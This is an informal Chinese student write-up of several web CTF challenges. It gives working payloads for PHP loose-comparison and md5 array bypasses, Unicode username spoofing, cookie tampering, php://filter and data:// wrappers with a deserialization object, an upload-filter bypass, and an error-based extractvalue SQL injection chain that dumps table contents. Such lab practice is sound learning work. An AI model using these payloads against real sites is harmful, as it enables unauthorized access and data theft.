刷题3

[ACTF2020 新生赛]BackupFile 1 问你能不能找到源文件 dirsearch扫一波发现一个index.php.bak 然后打开发现 $str = “123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3”;
if($key == $str) {
echo $flag; 这串代码 两个等号是弱等于的意思 大概就是有几个一样的就可以echo flag 就?key=123 就可以了
[HCTF 2018]admin 1 这关注册一个账号之后在改密码那个页面找到了这个类似于源代码的地址
方法一:flask session伪造 (不懂)
方法二:Unicode欺骗 在更改密码那边有一串源码用到strlower 就把用户名的字母转成小写 name = strlower(session[‘name’])
def strlower(username):
username = nodeprep.prepare(username)
return username
这个nodeprep.prepare存在漏洞。我们还会发现,login的时候又strlower一次。这个本来是转小写的,但是如果我们注册的用户名是这个:注册用户ᴀdmin(这个是unicode字符) 登录用户ᴀdmin,变成Admin 改密码时被变成admin 巧妙
login的时候会经过一次strlower会编程ADMIN,在change password的时候会变成admin。因此可以更改admin的密码,从而完成登录。 那么我们改密码的时候就变成改admin的了
就很巧妙的解题方法
[极客大挑战 2019]BuyFlag 1 抓包改包 buyflag那边可以找到一部分信息 抓 send to repeater 然后就添加money和password的信息
还有改一下cookie 能够被识别为那个什么g开头的什么的学生 user=1 就可以了 然后源码拿password后面俩== 那和上面那个差不多 就404a 这个作为password就可以
或者hackbar 改cookie和postdata

[BJDCTF2020]Easy MD5 1 这关转回响包发现hint那边有select * from ‘admin’ where password=md5($pass,true) 百度了下这玩意是什么没看懂 反正就是有个万能密码ffifdyop 这个字符串造成的漏洞
本地环境试验ffifdyop,输出的开头是’or’6xxxxxx
在数据库语句里就构成了select * from ‘admin’ where password= ‘’or’6xxxxxx ’ 相当于 password= ‘’ or 1 变成永真式
输入ffifdyop 然后去到另一个页面 源码
$a = $GET[‘a’];
$b = $_GET[‘b’];

if($a != $b && md5($a) == md5($b)) 然后可以用数组方式绕过 ?a[]=1&b[]=2 又到另一个页面 然后是post param1[]=1&param2[]=2 用数组的方式可以绕过很多检测
[SUCTF 2019]CheckIn 1 -> 上传过滤为黑名单,但php脚本文件应该是无法上传的

-> 存在文件头过滤,需要添加图片文件的文件头

-> 文件的内容不能包含<?,但可以上传 另存为a.jpg

然后 上传后会显示uploads/后面一长串解析这串再带个index.php 就可以打开flag了

[ZJCTF 2019]NiZhuanSiWei 1 点进去就给了源码 需要get text file password text需要有welcome to the zjctf
利用data协议绕过

将welcome to the zjctf写入

而data://协议允许读入

payload:

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
file=php://filter/read=convert.base64-encode/resource=useless.php (用这个来读取指定的文件 之前 [极客大挑战 2019]Secret File 1 和[ACTF2020 新生赛]Include 1 这俩有用到这个代码)然后把浏览器回显的东西base64解码一下
<?php

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo “
“;
return (“U R SO CLOSE !///COME ON PLZ”);
}
}
}
?> 嚯哦又是反序列化
构造<?php

class Flag{ //flag.php
public $file=’flag.php’;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo “
“;
return (“U R SO CLOSE !///COME ON PLZ”);
}
}
}
$a = new Flag(‘flag’);
var_dump(serialize($a));
?> 然后丢给phpstudy 解析一下O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 得到这个
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:“Flag”:1:{s:4:“file”;s:8:“flag.php”;} 三者结合就可以得到flag了
[极客大挑战 2019]HardSQL 1也是过滤了一堆 union 之类的 发现如and/空格/union/select/=///等都被过滤了但是有错误回显 报错注入**
‘^extractvalue(1,concat(0x7e,(select(database()))))%23 (爆库名)
‘^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(‘geek’))))%23 (表)
#语句主要用()绕过了空格,用like绕过了=号
‘^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’))))%23 (列)
‘^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))%23
#这里要注意!select aaa from table_bbb;不需要引号!!!!! 可是只显示了flag其中的一段。 剩下的用right()显示其他位数的
‘^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))%23 就疯狂改数字 然后拼凑